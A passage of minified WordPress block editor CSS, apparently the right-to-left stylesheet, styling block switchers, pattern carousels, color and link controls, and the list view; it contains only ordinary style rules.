#ddd;color:var(--wp-admin-theme-color)}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover{background-color:#1e1e1e;box-shadow:none}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active .block-editor-block-styles__item-text,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:hover .block-editor-block-styles__item-text{color:#fff}.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item.is-active:focus,.block-editor-block-styles__variants button.components-button.block-editor-block-styles__item:focus{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.block-editor-block-styles__variants .block-editor-block-styles__item-text{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-editor-block-styles__block-preview-container,.block-editor-block-styles__block-preview-container *{box-sizing:border-box!important}.block-editor-block-switcher{position:relative}.block-editor-block-switcher .components-button.components-dropdown-menu__toggle.has-icon.has-icon{min-width:36px}.block-editor-block-switcher__no-switcher-icon,.block-editor-block-switcher__toggle{position:relative}.components-button.block-editor-block-switcher__no-switcher-icon,.components-button.block-editor-block-switcher__toggle{display:block;height:48px;margin:0}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.components-button.block-editor-block-switcher__toggle .block-editor-block-icon{margin:auto}.block-editor-block-switcher__toggle-text{margin-right:8px}.show-icon-labels .block-editor-block-switcher__toggle-text{display:none}.components-button.block-editor-block-switcher__no-switcher-icon{display:flex}.components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{margin-left:auto;margin-right:auto;min-width:24px!important}.components-button.block-editor-block-switcher__no-switcher-icon:disabled{opacity:1}.components-button.block-editor-block-switcher__no-switcher-icon:disabled,.components-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{color:#1e1e1e}.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon .block-editor-block-icon,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon .block-editor-block-icon{align-items:center;display:flex;height:100%;margin:0 auto;min-width:100%;position:relative}.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__no-switcher-icon.has-icon.has-icon:before,.block-editor-block-toolbar .components-toolbar-group .components-button.block-editor-block-switcher__toggle.has-icon.has-icon:before{bottom:8px;left:8px;right:8px;top:8px}.components-popover.block-editor-block-switcher__popover .components-popover__content{min-width:300px}.block-editor-block-switcher__popover__preview__parent .block-editor-block-switcher__popover__preview__container{position:absolute;right:calc(100% + 16px);top:-12px}.block-editor-block-switcher__preview__popover{display:none;overflow:hidden}.block-editor-block-switcher__preview__popover.components-popover{margin-top:11px}@media (min-width:782px){.block-editor-block-switcher__preview__popover{display:block}}.block-editor-block-switcher__preview__popover .components-popover__content{background:#fff;border:1px solid #1e1e1e;border-radius:2px;box-shadow:none;outline:none;overflow:auto;width:300px}.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview{margin:16px 0;max-height:468px;overflow:hidden;padding:0 16px}.block-editor-block-switcher__preview__popover .block-editor-block-switcher__preview.is-pattern-list-preview{overflow:unset}.block-editor-block-switcher__preview-title{color:#757575;font-size:11px;font-weight:500;margin-bottom:12px;text-transform:uppercase}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon{min-width:36px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle{height:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-icon,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{height:48px;width:48px}.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__no-switcher-icon .block-editor-block-switcher__transform,.block-editor-block-contextual-toolbar .components-button.block-editor-block-switcher__toggle .block-editor-block-switcher__transform{padding:12px}.block-editor-block-switcher__preview-patterns-container{padding-bottom:16px}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item{margin-top:16px}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-preview__container{cursor:pointer}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item{border:1px solid #0000;border-radius:2px;height:100%;position:relative;transition:all .05s ease-in-out}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:focus,.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item:hover{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) #1e1e1e}.block-editor-block-switcher__preview-patterns-container .block-editor-block-switcher__preview-patterns-container-list__list-item .block-editor-block-switcher__preview-patterns-container-list__item .block-editor-block-switcher__preview-patterns-container-list__item-title{cursor:pointer;font-size:12px;padding:4px;text-align:center}.block-editor-block-switcher__no-transforms{color:#757575;margin:0;padding:6px 8px}.block-editor-block-types-list>[role=presentation]{display:flex;flex-wrap:wrap;overflow:hidden}.block-editor-block-pattern-setup{align-items:flex-start;border-radius:2px;display:flex;flex-direction:column;justify-content:center;width:100%}.block-editor-block-pattern-setup.view-mode-grid{padding-top:4px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__toolbar{justify-content:center}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{column-count:2;column-gap:24px;display:block;padding:0 32px;width:100%}@media (min-width:1440px){.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container{column-count:3}}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-preview__container,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container div[role=button]{cursor:pointer}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item{scroll-margin:5px 0}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-preview__container{box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-preview__container{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:focus .block-editor-block-pattern-setup-list__item-title,.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__item:hover .block-editor-block-pattern-setup-list__item-title{color:var(--wp-admin-theme-color)}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item{break-inside:avoid-column;margin-bottom:24px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-pattern-setup-list__item-title{cursor:pointer;font-size:12px;padding-top:8px;text-align:center}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__container{border:1px solid #ddd;border-radius:2px;min-height:100px}.block-editor-block-pattern-setup.view-mode-grid .block-editor-block-pattern-setup__container .block-editor-block-pattern-setup-list__list-item .block-editor-block-preview__content{width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar{align-items:center;align-self:stretch;background-color:#fff;border-top:1px solid #ddd;bottom:0;box-sizing:border-box;color:#1e1e1e;display:flex;flex-direction:row;height:60px;justify-content:space-between;margin:0;padding:16px;position:absolute;text-align:right;width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__display-controls{display:flex}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions,.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__navigation{display:flex;width:calc(50% - 36px)}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__toolbar .block-editor-block-pattern-setup__actions{justify-content:flex-end}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container{box-sizing:border-box;display:flex;flex-direction:column;height:100%;width:100%}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container{height:100%;list-style:none;margin:0;overflow:hidden;padding:0;position:relative;transform-style:preserve-3d}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container *{box-sizing:border-box}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide{background-color:#fff;height:100%;margin:auto;padding:0;position:absolute;top:0;transition:transform .5s,z-index .5s;width:100%;z-index:100}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.active-slide{opacity:1;position:relative;z-index:102}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.previous-slide{transform:translateX(100%);z-index:101}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .carousel-container .pattern-slide.next-slide{transform:translateX(-100%);z-index:101}.block-editor-block-pattern-setup .block-editor-block-pattern-setup__container .block-list-appender{display:none}.block-editor-block-pattern-setup__carousel,.block-editor-block-pattern-setup__grid{width:100%}.block-editor-block-variation-transforms{padding:0 52px 16px 16px;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle{border:1px solid #757575;border-radius:2px;justify-content:right;min-height:30px;padding:6px 12px;position:relative;text-align:right;width:100%}.block-editor-block-variation-transforms .components-dropdown-menu__toggle.components-dropdown-menu__toggle{padding-left:24px}.block-editor-block-variation-transforms .components-dropdown-menu__toggle:focus:not(:disabled){border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 calc(var(--wp-admin-border-width-focus) - 1px) var(--wp-admin-theme-color)}.block-editor-block-variation-transforms .components-dropdown-menu__toggle svg{height:100%;left:0;padding:0;position:absolute;top:0}.block-editor-block-variation-transforms__popover .components-popover__content{min-width:230px}.components-border-radius-control{margin-bottom:12px}.components-border-radius-control legend{margin-bottom:8px}.components-border-radius-control .components-border-radius-control__wrapper{align-items:flex-start;display:flex;justify-content:space-between}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__unit-control{flex-shrink:0;margin-bottom:0;margin-left:16px;width:calc(50% - 8px)}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control{flex:1;margin-left:12px}.components-border-radius-control .components-border-radius-control__wrapper .components-border-radius-control__range-control>div{align-items:center;display:flex;height:40px}.components-border-radius-control .components-border-radius-control__wrapper>span{flex:0 0 auto}.components-border-radius-control .components-border-radius-control__input-controls-wrapper{display:grid;gap:16px;grid-template-columns:repeat(2,minmax(0,1fr));margin-left:12px}.components-border-radius-control .component-border-radius-control__linked-button{display:flex;justify-content:center;margin-top:8px}.components-border-radius-control .component-border-radius-control__linked-button svg{margin-left:0}.block-editor-color-gradient-control .block-editor-color-gradient-control__color-indicator{margin-bottom:12px}.block-editor-color-gradient-control__fieldset{min-width:0}.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings,.block-editor-panel-color-gradient-settings.block-editor-panel-color-gradient-settings>div:not(:first-of-type){display:block}@media screen and (min-width:782px){.block-editor-panel-color-gradient-settings .components-circular-option-picker__swatches{display:grid;grid-template-columns:repeat(6,28px)}}.block-editor-block-inspector .block-editor-panel-color-gradient-settings .components-base-control{margin-bottom:inherit}.block-editor-panel-color-gradient-settings__dropdown-content .block-editor-color-gradient-control__panel{padding:16px;width:260px}.block-editor-panel-color-gradient-settings__color-indicator{background:linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.block-editor-tools-panel-color-gradient-settings__item{border-bottom:1px solid #ddd;border-left:1px solid #ddd;border-right:1px solid #ddd;max-width:100%;padding:0}.block-editor-tools-panel-color-gradient-settings__item:nth-child(1 of .block-editor-tools-panel-color-gradient-settings__item){border-top:1px solid #ddd;border-top-left-radius:2px;border-top-right-radius:2px;margin-top:24px}.block-editor-tools-panel-color-gradient-settings__item:nth-last-child(1 of .block-editor-tools-panel-color-gradient-settings__item){border-bottom-left-radius:2px;border-bottom-right-radius:2px}.block-editor-tools-panel-color-gradient-settings__item>div,.block-editor-tools-panel-color-gradient-settings__item>div>button{border-radius:inherit}.block-editor-tools-panel-color-gradient-settings__dropdown{display:block;padding:0}.block-editor-tools-panel-color-gradient-settings__dropdown>button{height:auto;padding-bottom:10px;padding-top:10px;text-align:right}.block-editor-tools-panel-color-gradient-settings__dropdown>button.is-open{background:#f0f0f0;color:var(--wp-admin-theme-color)}.block-editor-tools-panel-color-gradient-settings__dropdown .block-editor-panel-color-gradient-settings__color-name{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-panel-color-gradient-settings__dropdown{width:100%}.block-editor-panel-color-gradient-settings__dropdown .component-color-indicator{flex-shrink:0}.block-editor-date-format-picker{margin-bottom:16px}.block-editor-date-format-picker__custom-format-select-control__custom-option{border-top:1px solid #ddd}.block-editor-date-format-picker__custom-format-select-control__custom-option.has-hint{grid-template-columns:auto 30px}.block-editor-date-format-picker__custom-format-select-control__custom-option .components-custom-select-control__item-hint{grid-row:2;text-align:right}.block-editor-duotone-control__popover>.components-popover__content{padding:16px;width:260px}.block-editor-duotone-control__popover .components-menu-group__label{padding:0}.block-editor-duotone-control__popover .components-circular-option-picker__swatches{display:grid;gap:12px;grid-template-columns:repeat(6,28px);justify-content:space-between}.block-editor-duotone-control__unset-indicator{background:linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.components-font-appearance-control ul li{color:#1e1e1e;text-transform:capitalize}.block-editor-global-styles__toggle-icon{fill:currentColor}.block-editor-global-styles__shadow-popover-container{width:230px}.block-editor-global-styles__shadow__list{display:flex;flex-wrap:wrap;gap:12px;padding-bottom:8px}.block-editor-global-styles__clear-shadow{text-align:left}.block-editor-global-styles-filters-panel__dropdown,.block-editor-global-styles__shadow-dropdown{display:block;padding:0}.block-editor-global-styles-filters-panel__dropdown button,.block-editor-global-styles__shadow-dropdown button{padding:8px;width:100%}.block-editor-global-styles-filters-panel__dropdown button.is-open,.block-editor-global-styles__shadow-dropdown button.is-open{background-color:#f0f0f0}.block-editor-global-styles__shadow-indicator{border:1px solid #e0e0e0;border-radius:2px;box-sizing:border-box;color:#2f2f2f;cursor:pointer;height:26px;padding:0;transform:scale(1);transition:transform .1s ease;width:26px;will-change:transform}.block-editor-global-styles__shadow-indicator:focus{border:2px solid #757575}.block-editor-global-styles__shadow-indicator:hover{transform:scale(1.2)}.block-editor-global-styles__shadow-indicator.unset{background:linear-gradient(45deg,#0000 48%,#ddd 0,#ddd 52%,#0000 0)}.block-editor-global-styles-advanced-panel__custom-css-input textarea{direction:ltr;font-family:Menlo,Consolas,monaco,monospace}.block-editor-height-control{border:0;margin:0;padding:0}.block-editor-image-size-control{margin-bottom:1em}.block-editor-image-size-control .block-editor-image-size-control__height,.block-editor-image-size-control .block-editor-image-size-control__width{margin-bottom:1.115em}.block-editor-block-types-list__list-item{display:block;margin:0;padding:0;width:33.33%}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled) .block-editor-block-icon.has-colors{color:var(--wp-block-synced-color)}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{color:var(--wp-block-synced-color)!important;filter:brightness(.95)}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):hover svg{color:var(--wp-block-synced-color)!important}.block-editor-block-types-list__list-item.is-synced .components-button.block-editor-block-types-list__item:not(:disabled):after{background:var(--wp-block-synced-color)}.components-button.block-editor-block-types-list__item{align-items:stretch;background:#0000;border-radius:2px;color:#1e1e1e;cursor:pointer;display:flex;flex-direction:column;font-size:13px;height:auto;justify-content:center;padding:8px;position:relative;transition:all .05s ease-in-out;width:100%;word-break:break-word}@media (prefers-reduced-motion:reduce){.components-button.block-editor-block-types-list__item{transition-delay:0s;transition-duration:0s}}.components-button.block-editor-block-types-list__item:disabled{cursor:default;opacity:.6}.components-button.block-editor-block-types-list__item:not(:disabled):hover .block-editor-block-types-list__item-title{color:var(--wp-admin-theme-color)!important;filter:brightness(.95)}.components-button.block-editor-block-types-list__item:not(:disabled):hover svg{color:var(--wp-admin-theme-color)!important}.components-button.block-editor-block-types-list__item:not(:disabled):hover:after{background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.04;pointer-events:none;position:absolute;right:0;top:0}.components-button.block-editor-block-types-list__item:not(:disabled):focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.components-button.block-editor-block-types-list__item:not(:disabled).is-active{background:#1e1e1e;color:#fff;outline:2px solid #0000;outline-offset:-2px}.block-editor-block-types-list__item-icon{border-radius:2px;color:#1e1e1e;padding:12px 20px;transition:all .05s ease-in-out}@media (prefers-reduced-motion:reduce){.block-editor-block-types-list__item-icon{transition-delay:0s;transition-duration:0s}}.block-editor-block-types-list__item-icon .block-editor-block-icon{margin-left:auto;margin-right:auto}.block-editor-block-types-list__item-icon svg{transition:all .15s ease-out}@media (prefers-reduced-motion:reduce){.block-editor-block-types-list__item-icon svg{transition-delay:0s;transition-duration:0s}}.block-editor-block-types-list__list-item[draggable=true] .block-editor-block-types-list__item-icon{cursor:grab}.block-editor-block-types-list__item-title{font-size:12px;padding:4px 2px 8px}.show-icon-labels .block-editor-block-inspector__tabs [role=tablist] .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-inspector__tabs [role=tablist] .components-button.has-icon:before{content:attr(aria-label)}.block-editor-inspector-controls-tabs__hint{align-items:flex-start;background:#f0f0f0;border-radius:2px;color:#1e1e1e;display:flex;flex-direction:row;font-size:13px;margin:16px}.block-editor-inspector-controls-tabs__hint-content{margin:12px 12px 12px 0}.block-editor-inspector-controls-tabs__hint-dismiss{margin:4px 0 4px 4px}.block-editor-inspector-popover-header{margin-bottom:16px}[class].block-editor-inspector-popover-header__action{height:24px}[class].block-editor-inspector-popover-header__action.has-icon{min-width:24px;padding:0}[class].block-editor-inspector-popover-header__action:not(.has-icon){text-decoration:underline}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}@keyframes loadingpulse{0%{opacity:1}50%{opacity:0}to{opacity:1}}.block-editor-link-control{min-width:350px;position:relative}.components-popover__content .block-editor-link-control{max-width:350px;min-width:auto;width:90vw}.show-icon-labels .block-editor-link-control .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-link-control .components-button.has-icon:before{content:attr(aria-label)}.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top{gap:8px}.show-icon-labels .block-editor-link-control .block-editor-link-control__search-item-top .components-button.has-icon{min-width:inherit;width:min-content}.block-editor-link-control__search-input-wrapper{margin-bottom:8px;position:relative}.block-editor-link-control__search-input-container,.block-editor-link-control__search-input-wrapper{position:relative}.block-editor-link-control__field{margin:16px}.block-editor-link-control__field .components-base-control__label{color:#1e1e1e}.block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:40px;line-height:normal;margin:0;padding:8px 16px 8px 40px;position:relative;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.block-editor-link-control__field input[type=text],.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{font-size:13px;line-height:normal}}.block-editor-link-control__field input[type=text]:focus,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-link-control__field input[type=text]::-webkit-input-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input::-webkit-input-placeholder{color:#1e1e1e9e}.block-editor-link-control__field input[type=text]::-moz-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input::-moz-placeholder{color:#1e1e1e9e;opacity:1}.block-editor-link-control__field input[type=text]:-ms-input-placeholder,.block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input:-ms-input-placeholder{color:#1e1e1e9e}.has-actions .block-editor-link-control__field input[type=text],.has-actions .block-editor-link-control__field.block-editor-url-input input[type=text].block-editor-url-input__input{padding-left:16px}.block-editor-link-control__search-error{margin:-8px 16px 16px}.block-editor-link-control__search-enter{left:19px;position:absolute;top:3px}.block-editor-link-control__search-enter svg{position:relative;top:-2px}.block-editor-link-control__search-actions{padding:8px 16px 16px}.block-editor-link-control__search-results-wrapper{position:relative}.block-editor-link-control__search-results-wrapper:after,.block-editor-link-control__search-results-wrapper:before{content:"";display:block;left:16px;pointer-events:none;position:absolute;right:-1px;z-index:100}.block-editor-link-control__search-results-wrapper:before{bottom:auto;height:8px;top:0}.block-editor-link-control__search-results-wrapper:after{bottom:0;height:16px;top:auto}.block-editor-link-control__search-results{margin-top:-16px;max-height:200px;overflow-y:auto;padding:8px}.block-editor-link-control__search-results.is-loading{opacity:.2}.block-editor-link-control__search-item.components-button.components-menu-item__button{height:auto;text-align:right}.block-editor-link-control__search-item .components-menu-item__item{display:inline-block;overflow:hidden;text-overflow:ellipsis;width:100%}.block-editor-link-control__search-item .components-menu-item__item mark{background-color:initial;color:inherit;font-weight:600}.block-editor-link-control__search-item .components-menu-item__shortcut{color:#757575;text-transform:capitalize;white-space:nowrap}.block-editor-link-control__search-item[aria-selected]{background:#f0f0f0}.block-editor-link-control__search-item.is-current{background:#0000;border:0;cursor:default;flex-direction:column;padding:16px;width:100%}.block-editor-link-control__search-item .block-editor-link-control__search-item-header{align-items:center;display:block;flex-direction:row;gap:8px;margin-left:8px;overflow-wrap:break-word;white-space:pre-wrap}.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-info{color:#757575;font-size:12px;line-height:1.1;word-break:break-all}.block-editor-link-control__search-item.is-preview .block-editor-link-control__search-item-header{display:flex;flex:1}.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-header{align-items:center}.block-editor-link-control__search-item.is-url-title .block-editor-link-control__search-item-title{word-break:break-all}.block-editor-link-control__search-item .block-editor-link-control__search-item-details{display:flex;flex-direction:column;gap:4px;justify-content:space-between}.block-editor-link-control__search-item .block-editor-link-control__search-item-header .block-editor-link-control__search-item-icon{background-color:#f0f0f0;border-radius:2px;height:32px;width:32px}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon{align-items:center;display:flex;flex-shrink:0;justify-content:center;position:relative}.block-editor-link-control__search-item .block-editor-link-control__search-item-icon img{width:16px}.block-editor-link-control__search-item.is-error .block-editor-link-control__search-item-icon{max-height:32px;top:0;width:32px}.block-editor-link-control__search-item .block-editor-link-control__search-item-title{border-radius:2px;line-height:1.1}.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus{box-shadow:none}.block-editor-link-control__search-item .block-editor-link-control__search-item-title:focus-visible{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000;text-decoration:none}.block-editor-link-control__search-item .block-editor-link-control__search-item-title mark{background-color:initial;color:inherit;font-weight:600}.block-editor-link-control__search-item .block-editor-link-control__search-item-title span{font-weight:400}.block-editor-link-control__search-item .block-editor-link-control__search-item-title svg{display:none}.block-editor-link-control__search-item-top{align-items:center;display:flex;flex-direction:row;width:100%}.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon img,.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon svg{opacity:0}.block-editor-link-control__search-item.is-fetching .block-editor-link-control__search-item-icon:before{animation:loadingpulse 1s linear infinite;animation-delay:.5s;background-color:#f0f0f0;border-radius:100%;bottom:0;content:"";display:block;left:0;position:absolute;right:0;top:0}.block-editor-link-control__loading{align-items:center;display:flex;margin:16px}.block-editor-link-control__loading .components-spinner{margin-top:0}.components-button+.block-editor-link-control__search-create{overflow:visible;padding:12px 16px}.components-button+.block-editor-link-control__search-create:before{content:"";display:block;position:absolute;right:0;top:-10px;width:100%}.block-editor-link-control__search-create{align-items:center}.block-editor-link-control__search-create .block-editor-link-control__search-item-title{margin-bottom:0}.block-editor-link-control__search-create .block-editor-link-control__search-item-icon{top:0}.block-editor-link-control__drawer-inner{display:flex;flex-basis:100%;flex-direction:column;position:relative}.block-editor-link-control__setting{flex:1;margin-bottom:0;padding:8px 24px 8px 0}.block-editor-link-control__setting .components-base-control__field{display:flex}.block-editor-link-control__setting .components-base-control__field .components-checkbox-control__label{color:#1e1e1e}.block-editor-link-control__setting input{margin-right:0}.is-preview .block-editor-link-control__setting{padding:20px 0 8px 8px}.block-editor-link-control__tools{margin-top:-16px;padding:8px 8px 0}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle{gap:0;padding-right:0}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true]{color:#1e1e1e}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{transform:rotate(-90deg);transition:transform .1s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=true] svg{transition-delay:0s;transition-duration:0s}}.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{transform:rotate(0deg);transition:transform .1s ease;visibility:visible}@media (prefers-reduced-motion:reduce){.block-editor-link-control__tools .components-button.block-editor-link-control__drawer-toggle[aria-expanded=false] svg{transition-delay:0s;transition-duration:0s}}.block-editor-link-control .block-editor-link-control__search-input .components-spinner{display:block}.block-editor-link-control .block-editor-link-control__search-input .components-spinner.components-spinner{bottom:auto;left:40px;position:absolute;right:auto;top:calc(50% - 8px)}.block-editor-link-control .block-editor-link-control__search-input-wrapper.has-actions .components-spinner{left:12px;top:calc(50% + 4px)}.block-editor-list-view-tree{border-collapse:collapse;margin:0;padding:0;width:100%}.components-modal__content .block-editor-list-view-tree{margin:-12px -6px 0;width:calc(100% + 12px)}.block-editor-list-view-tree.is-dragging tbody{pointer-events:none}.block-editor-list-view-leaf{position:relative;transform:translateY(0)}.block-editor-list-view-leaf.is-draggable,.block-editor-list-view-leaf.is-draggable .block-editor-list-view-block-contents{cursor:grab}.block-editor-list-view-leaf .block-editor-list-view-block-select-button[aria-expanded=true]{color:inherit}.block-editor-list-view-leaf .block-editor-list-view-block-select-button:hover{color:var(--wp-admin-theme-color)}.is-dragging-components-draggable .block-editor-list-view-leaf:not(.is-selected) .block-editor-list-view-block-select-button:hover{color:inherit}.block-editor-list-view-leaf.is-selected td{background:var(--wp-admin-theme-color)}.block-editor-list-view-leaf.is-selected.is-synced td{background:var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents .block-editor-block-icon,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus,.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:hover{color:var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-synced:not(.is-selected) .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-block-synced-color)}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents,.block-editor-list-view-leaf.is-selected .components-button.has-icon{color:#fff}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-contents:focus:after{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) 